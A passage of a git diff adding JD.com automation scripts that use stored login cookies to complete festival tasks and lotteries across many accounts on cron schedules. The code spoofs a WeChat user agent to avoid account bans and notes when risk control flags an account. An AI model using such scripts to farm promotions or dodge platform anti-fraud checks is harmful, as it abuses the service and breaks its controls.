s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_nian_wechat.js b/activity/jd_nian_wechat.js new file mode 100644 index 0000000..693eced --- /dev/null +++ b/activity/jd_nian_wechat.js @@ -0,0 +1,334 @@ +/* +京东炸年兽小程序🧨 +强烈推荐使用自定义的小程序UA防止黑号 +活动时间:2021-1-18至2021-2-11 +暂不加入品牌会员 +活动入口: 京东小程序-炸年兽 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东炸年兽小程序🧨 +50 8 * * * jd_nian_wechat.js, tag=京东炸年兽小程序🧨, enabled=true + +================Loon============== +[Script] +cron "50 8 * * *" script-path=jd_nian_wechat.js,tag=京东炸年兽小程序🧨 + +===============Surge================= +京东炸年兽小程序🧨 = type=cron,cronexp="50 8 * * *",wake-system=1,timeout=3600,script-path=jd_nian_wechat.js + +============小火箭========= +京东炸年兽小程序🧨 = type=cron,script-path=jd_nian_wechat.js, cronexpr="50 8 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东炸年兽小程序🧨'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdNian() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdNian() { + try { + await getHomeData() + if(!$.secretp) return + await $.wait(2000) + await getTaskList() + await $.wait(1000) + await doTask() + await $.wait(2000) + await getHomeData(true) + await showMsg() + } catch (e) { + $.logErr(e) + } +} +function encode(data, aa, extraData) { + const temp = { + "extraData": JSON.stringify(extraData), + "businessData": JSON.stringify(data), + "secretp": aa, + } + return { "ss": (JSON.stringify(temp)) }; +} +function getRnd() { + return Math.floor(1e6 * Math.random()).toString(); +} +function showMsg() { + return new Promise(resolve => { + console.log('任务已做完!\n如有未完成的任务,请多执行几次。注:目前入会任务不会做') + console.log('如出现taskVos错误的,请更新USER_AGENTS.js或使用自定义UA功能') + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + if (new Date().getHours() === 23) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +async function doTask() { + for (let item of $.taskVos) { + if (item.taskType === 9) { + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await collectScore(item.taskId, task.itemId, 1); + await $.wait(10*1000) + await collectScore(item.taskId, task.itemId); + } + } + } else if(item.status===2){ + console.log(`${item.taskName}已做完`) + } + } + } +} + +function getHomeData(info=false) { + return new Promise((resolve) => { + $.get(taskUrl('nian_getHomeData',{"inviteId":"","channel":1}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + $.userInfo = data.data.result.homeMainInfo + $.secretp = $.userInfo.secretp; + if(!$.secretp){ + console.log(`账号被风控`) + message += `账号被风控,无法参与活动\n` + $.secretp = null + return + } + console.log(`当前爆竹${$.userInfo.raiseInfo.remainScore}🧨,升级需要${$.userInfo.raiseInfo.nextLevelScore-$.userInfo.raiseInfo.curLevelStartScore}🧨`) + + if(info) { + message += `当前爆竹${$.userInfo.raiseInfo.remainScore}🧨\n` + } + } + else{ + $.secretp = null + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function collectScore(taskId,itemId,actionType=null,inviteId=null,shopSign=null) { + let temp = { + "taskId": taskId, + "rnd": getRnd(), + "inviteId": "-1", + "stealId": "-1" + } + if(itemId) temp['itemId'] = itemId + if(actionType) temp['actionType'] = actionType + if(inviteId) temp['inviteId'] = inviteId + if(shopSign) temp['shopSign'] = shopSign + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + taskId:taskId, + itemId:itemId + } + if(actionType) body['actionType'] = actionType + if(inviteId) body['inviteId'] = inviteId + if(shopSign) body['shopSign'] = shopSign + return new Promise(resolve => { + $.get(taskUrl("nian_collectScore", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data.data.bizCode === 0) { + if(data.data.result.score) + console.log(`任务完成,获得${data.data.result.score}爆竹🧨`) + // $.userInfo = data.data.result.userInfo; + } + else{ + console.log(data.data.bizMsg) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getTaskList() { + return new Promise(resolve => { + $.get(taskUrl("nian_getTaskDetail", {"appSign":"2","channel":1}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + let url = `${JD_API_HOST}`; + body = `?dev=nian_getHomeData&sceneval=&callback=${function_id}&functionId=${function_id}&client=wh5&clientVersion=1.0.0&uuid=-1&body=${escape(JSON.stringify(body))}&loginType=2&loginWQBiz=businesst1&g_ty=ls&g_tk=642524613` + return { + url:`${url}${body}`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_WECHAT_USER_AGENT ? process.env.JD_WECHAT_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUAWECHAT') ? $.getdata('JDUAWECHAT') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_WECHAT_USER_AGENT ? process.env.JD_WECHAT_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUAWECHAT') ? $.getdata('JDUAWECHAT') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_party_night.js b/activity/jd_party_night.js new file mode 100644 index 0000000..2340403 --- /dev/null +++ b/activity/jd_party_night.js @@ -0,0 +1,232 @@ +/* +沸腾之夜 +开启预约活动得0.18元红包,得到五个助力后,得1.58元红包 +内部账号自己相互助力,一个账号3次助力机会。 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#沸腾之夜 +0 15-19/1 * * * jd_party_night.js, tag=沸腾之夜, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "0 15-19/1 * * *" script-path=jd_party_night.js,tag=沸腾之夜 + +===============Surge================= +沸腾之夜 = type=cron,cronexp="0 15-19/1 * * *",wake-system=1,timeout=3600,script-path=jd_party_night.js + +============小火箭========= +沸腾之夜 = type=cron,script-path=jd_party_night.js, cronexpr="0 15-19/1 * * *", timeout=3600, enable=true + */ +const $ = new Env('沸腾之夜'); +const notify = $.isNode() ? require('../sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +$.inviteCodeList = []; +let cookiesArr = [ +]; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < 5; i++) { + console.log(`开始第${i+1}次抽奖`); + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + await partyNight(); + if(cookiesArr.length>5){ + await $.wait(1500); + }else{ + await $.wait(5000); + } + } + } + + // //助力------------------------- + // for (let i = 0; i < cookiesArr.length; i++) { + // $.index = i + 1; + // $.cookie = cookiesArr[i]; + // $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + // console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + // $.canHelp = true; + // for (let j = 0; j < $.inviteCodeList.length && $.canHelp; j++) { + // await $.wait(2000); + // $.oneInviteInfo = $.inviteCodeList[j]; + // if($.oneInviteInfo.use === $.UserName){ + // continue; + // } + // if($.oneInviteInfo.max){ + // continue; + // } + // $.inviteCode = $.oneInviteInfo.inviteCode; + // console.log(`${$.UserName}去助力${$.oneInviteInfo.use},助力码:${$.inviteCode}`) + // await takePostRequest('partyTonight_assist'); + // } + // //await $.wait(3000); + // } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function partyNight(){ + // $.mainInfo = {}; + // await takePostRequest('partyTonight_init'); + // if(JSON.stringify($.mainInfo) === '{}'){ + // return ; + // }else { + // console.log('获取活动信息成功'); + // } + + $.runFlag = true; + //for (let i = 0; i < 10 && $.runFlag; i++) { + + await takePostRequest('partyTonight_lottery'); + //await 